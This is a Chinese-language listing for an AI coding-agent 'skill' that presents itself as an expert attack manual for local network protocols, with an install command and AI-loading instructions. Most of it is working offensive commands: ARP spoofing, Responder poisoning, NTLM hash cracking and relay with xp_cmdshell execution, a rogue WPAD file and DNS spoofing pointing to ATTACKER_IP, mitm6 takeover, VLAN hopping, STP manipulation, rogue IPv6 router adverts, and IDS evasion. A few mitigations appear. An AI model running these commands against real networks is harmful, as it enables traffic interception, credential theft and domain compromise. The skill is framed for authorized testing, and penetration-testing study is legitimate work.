关于 network-protocol-attacks
面向安全研究的网络协议攻击技能指南,涵盖局域网中间人攻击、名称解析投毒、VLAN 与 IPv6 攻击及 IDS/IPS 规避,并提供工具和防护要点。
主要功能
- 01ARP 欺骗与中间人定位
- 02LLMNR、NBT-NS、mDNS 投毒
- 03WPAD 滥用与 DHCPv6 攻击
- 04VLAN 跳跃、STP 与 DNS 攻击
- 05IPv6 攻击和 IDS/IPS 规避
适用场景
- 01梳理授权网络测试的攻击路径
- 02分析投毒攻击中的凭据捕获与中继
- 03评估交换网络和 IPv6 配置风险
- 04规划网络攻击的检测与缓解措施
安装
复制下面的命令,在终端中运行。
$
npx skills add https:/ / github.com/ yaklang/ hack-skills --skill network-protocol-attacks安装后在 Claude Code 中输入/network-protocol-attacks确认已加载。
附带文件NAME_RESOLUTION_POISONING.md
详细介绍
技能:网络协议攻击 — 专家攻击手册
AI 加载说明:网络协议专家级攻击技术。涵盖 ARP 欺骗、名称解析投毒(LLMNR/NBT-NS/mDNS)、WPAD 滥用、DHCPv6 接管、VLAN 跳跃、STP 操纵、DNS 欺骗、IPv6 攻击以及 IDS/IPS 规避。基础模型会遗漏这些攻击之间的串联机会,以及现代交换网络利用中的细节。
0. 相关路由
深入研究前,请考虑加载:
- tunneling-and-pivoting,在建立 MitM 位置后进行流量重定向
- ntlm-relay-coercion,转发从投毒攻击中捕获的 NTLM 哈希
- unauthorized-access-common-services,利用网络攻击期间发现的服务
- traffic-analysis-pcap,分析 MitM 捕获的流量
高级参考
在需要以下内容时,也请加载 NAME_RESOLUTION_POISONING.md:
- Responder/mitm6 的详细配置和工作流
- NTLM 中继目标选择与串联
- 凭据格式分析和破解优先级
1. ARP 欺骗
Gratuitous ARP — MitM 定位
# arpspoof (dsniff suite)
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -i eth0 -t VICTIM_IP GATEWAY_IP &
arpspoof -i eth0 -t GATEWAY_IP VICTIM_IP &
# ettercap — ARP poisoning with sniffing
ettercap -T -q -i eth0 -M arp:remote /VICTIM_IP// /GATEWAY_IP//
# bettercap — modern framework
bettercap -iface eth0
> set arp.spoof.targets VICTIM_IP
> arp.spoof on
> net.sniff on
定向攻击
# bettercap — target specific hosts, avoid detection
> set arp.spoof.targets 10.0.0.50,10.0.0.51
> set arp.spoof.fullduplex true
> set arp.spoof.internal true
> arp.spoof on
检测指标
- ARP 表中存在重复的 MAC 地址
- 非网关 IP 发起 Gratuitous ARP 风暴
- 工具:
arpwatch、静态 ARP 条目、802.1X 端口认证
2. LLMNR / NBT-NS / mDNS 投毒
Responder — 凭据捕获
# Basic poisoning (LLMNR + NBT-NS + mDNS)
responder -I eth0 -dwPv
# Key flags:
# -d Enable answers for DHCP broadcast requests (fingerprinting)
# -w Start WPAD rogue proxy
# -P Force NTLM auth for WPAD
# -v Verbose
# Analyze mode only (passive, no poisoning)
responder -I eth0 -A
捕获的哈希格式
| 协议 | 哈希类型 | Hashcat 模式 | 可破解性 |
|---|---|---|---|
| NTLMv1 | NetNTLMv1 | 5500 | 快 — 可使用彩虹表 |
| NTLMv2 | NetNTLMv2 | 5600 | 中等 — 字典加规则 |
| NTLMv1-ESS | NetNTLMv1 | 5500 | 快 — 与 NTLMv1 相同 |
# Crack captured hashes
hashcat -m 5600 hashes.txt wordlist.txt -r rules/best64.rule
john --format=netntlmv2 hashes.txt --wordlist=wordlist.txt
中继而非破解
# ntlmrelayx — relay captured NTLM to other services
ntlmrelayx.py -tf targets.txt -smb2support
ntlmrelayx.py -t ldaps://DC01 --delegate-access # RBCD attack
ntlmrelayx.py -t mssql://DB01 -q "exec xp_cmdshell 'whoami'"
3. WPAD 滥用
# Responder with WPAD proxy
responder -I eth0 -wPv
# WPAD flow:
# 1. Client queries DHCP for WPAD → DNS for wpad.domain.com → LLMNR/NBT-NS
# 2. Responder answers with rogue wpad.dat
# 3. Browser uses attacker's proxy → forced NTLM auth → credential capture
手动 WPAD PAC 文件
// Rogue wpad.dat content
function FindProxyForURL(url, host) {
return "PROXY ATTACKER_IP:3128; DIRECT";
}
4. DHCPv6 攻击 — mitm6
即使在仅使用 IPv4 的网络中,Windows 客户端默认也会发送 DHCPv6 请求。
# mitm6 → DNS takeover → NTLM relay
mitm6 -d domain.com
# In parallel: relay captured NTLM to LDAP(S) for delegation
ntlmrelayx.py -6 -t ldaps://DC01 -wh fakewpad.domain.com -l loot --delegate-access
# Attack chain:
# 1. mitm6 answers DHCPv6 → sets attacker as IPv6 DNS
# 2. Victim DNS queries go to attacker → WPAD redirect
# 3. Forced NTLM auth → relay to LDAP → create machine account or RBCD
关键条件
- 目标已禁用 SMB 签名(用于 SMB 中继)
- DC 未强制执行 LDAP 签名(用于 LDAP 中继)
- Domain Computers 配额 > 0(用于创建计算机帐户,默认值:10)
5. VLAN 跳跃
交换机伪装(DTP)
# yersinia — DTP attack to negotiate trunk
yersinia dtp -attack 1 -interface eth0
# frogger.sh — automated VLAN hopping via DTP
./frogger.sh
# Sends DTP frames → switch enables trunking → access all VLANs
# After trunk established:
modprobe 8021q
vconfig add eth0 TARGET_VLAN
ifconfig eth0.TARGET_VLAN 10.10.10.1 netmask 255.255.255.0 up
双重标签(802.1Q)
# Craft double-tagged frame: outer=native VLAN, inner=target VLAN
# scapy:
from scapy.all import *
pkt = Ether()/Dot1Q(vlan=1)/Dot1Q(vlan=100)/IP(dst="TARGET")/ICMP()
sendp(pkt, iface="eth0")
# Limitation: one-way only (responses go to real gateway)
# Effective for blind attacks (e.g., targeting a server)
缓解措施
- 禁用 DTP:
switchport nonegotiate - 将本征 VLAN 设为未使用的 VLAN:
switchport trunk native vlan 999 - 修剪 VLAN:中继端口仅允许必要的 VLAN
6. STP 操纵
声称为根桥
# yersinia — claim root bridge with lowest priority
yersinia stp -attack 4 -interface eth0
# Send BPDUs with priority 0 → become root bridge
# All traffic flows through attacker → MitM
拓扑变更攻击
# Send TC (Topology Change) BPDUs → force MAC table flush
yersinia stp -attack 1 -interface eth0
# Switches flood all ports temporarily → sniff traffic
缓解措施
- 在接入端口上启用 BPDU Guard
- 在指定端口上启用 Root Guard
spanning-tree portfast bpduguard enable
7. DNS 欺骗
DNS 缓存投毒
# bettercap DNS spoofing
bettercap -iface eth0
> set dns.spoof.domains target.com, *.target.com
> set dns.spoof.address ATTACKER_IP
> dns.spoof on
# ettercap DNS spoofing (via etter.dns config)
echo "target.com A ATTACKER_IP" >> /etc/ettercap/etter.dns
ettercap -T -q -i eth0 -P dns_spoof -M arp:remote /VICTIM// /GATEWAY//
Kaminsky 攻击变种
向递归解析器发送大量伪造响应,目标是随机子域;每个响应都包含一个恶意 authority 区段,将 NS 记录指向攻击者控制的服务器。
8. IPv6 攻击
路由器通告欺骗
# Send rogue RA → victim configures attacker as default gateway
atk6-fake_router6 eth0 ATTACKER_IPV6_PREFIX/64
# THC-IPv6 suite for comprehensive IPv6 attacks
atk6-parasite6 eth0 # ICMPv6 neighbor spoofing
atk6-redir6 eth0 ... # Traffic redirection via ICMPv6 redirect
SLAAC 滥用
# Advertise rogue prefix → victim auto-configures IPv6 address
# Combined with rogue DNS (RA option) → full MitM over IPv6
# Windows prioritizes IPv6 over IPv4 by default
9. IDS/IPS 规避
| 技术 | 方法 | 工具/标志 |
|---|---|---|
| IP 分片 | 将有效载荷拆分到多个分片中 | nmap -f、fragroute |
| TTL 操纵 | 设置 TTL,使数据包在到达 IDS 时过期,但仍能到达目标 | fragroute |
| 编码规避 | URL/Unicode/十六进制编码 | 手动、自定义脚本 |
| 会话拼接 | 将 TCP 有效载荷拆分到多个数据段中 | fragroute、nmap --data-length |
| 基于时间 | 放慢扫描速度以规避基于速率的检测 | nmap -T0、nmap -T1 |
| 诱饵扫描 | 将真实扫描与诱饵源 IP 混合 | nmap -D RND:10 |
| 空闲/僵尸扫描 | 使用空闲主机作为扫描代理 | nmap -sI ZOMBIE_IP |
# fragroute — fragment and reorder packets
echo "ip_frag 8" > /tmp/frag.conf
echo "order random" >> /tmp/frag.conf
fragroute -f /tmp/frag.conf TARGET_IP
# nmap evasion combinations
nmap -sS -f --mtu 24 --data-length 50 -D RND:5 -T2 TARGET
10. 决策树
Network access obtained — want to escalate via network attacks
│
├── On same broadcast domain as targets?
│ ├── YES → ARP spoof for MitM (§1)
│ │ └── Capture plaintext creds or redirect traffic
│ └── NO → need VLAN hopping first (§5)
│ ├── DTP enabled? → switch spoofing
│ └── Know native VLAN? → double tagging
│
├── Windows environment?
│ ├── LLMNR/NBT-NS enabled? (default YES)
│ │ └── Run Responder (§2) → capture NetNTLM hashes
│ │ ├── NTLMv1? → crack fast or relay
│ │ └── NTLMv2? → relay (§2) or crack with rules
│ │
│ ├── WPAD configured or auto-detect? → WPAD abuse (§3)
│ │
│ └── IPv6 not hardened? (default) → mitm6 + ntlmrelayx (§4)
│ └── LDAP relay → RBCD → domain compromise
│
├── Need DNS control?
│ ├── MitM already established? → DNS spoofing (§7)
│ └── DHCPv6 available? → mitm6 for DNS takeover (§4)
│
├── Managed switches with weak config?
│ ├── BPDU Guard off? → STP root bridge claim (§6)
│ └── DTP enabled? → VLAN hopping (§5)
│
├── IPv6 attack surface?
│ └── RA spoofing / SLAAC abuse (§8) → MitM over IPv6
│
└── IDS/IPS in path?
└── Apply evasion techniques (§9) — fragmentation, timing, encoding
评论
支持 Markdown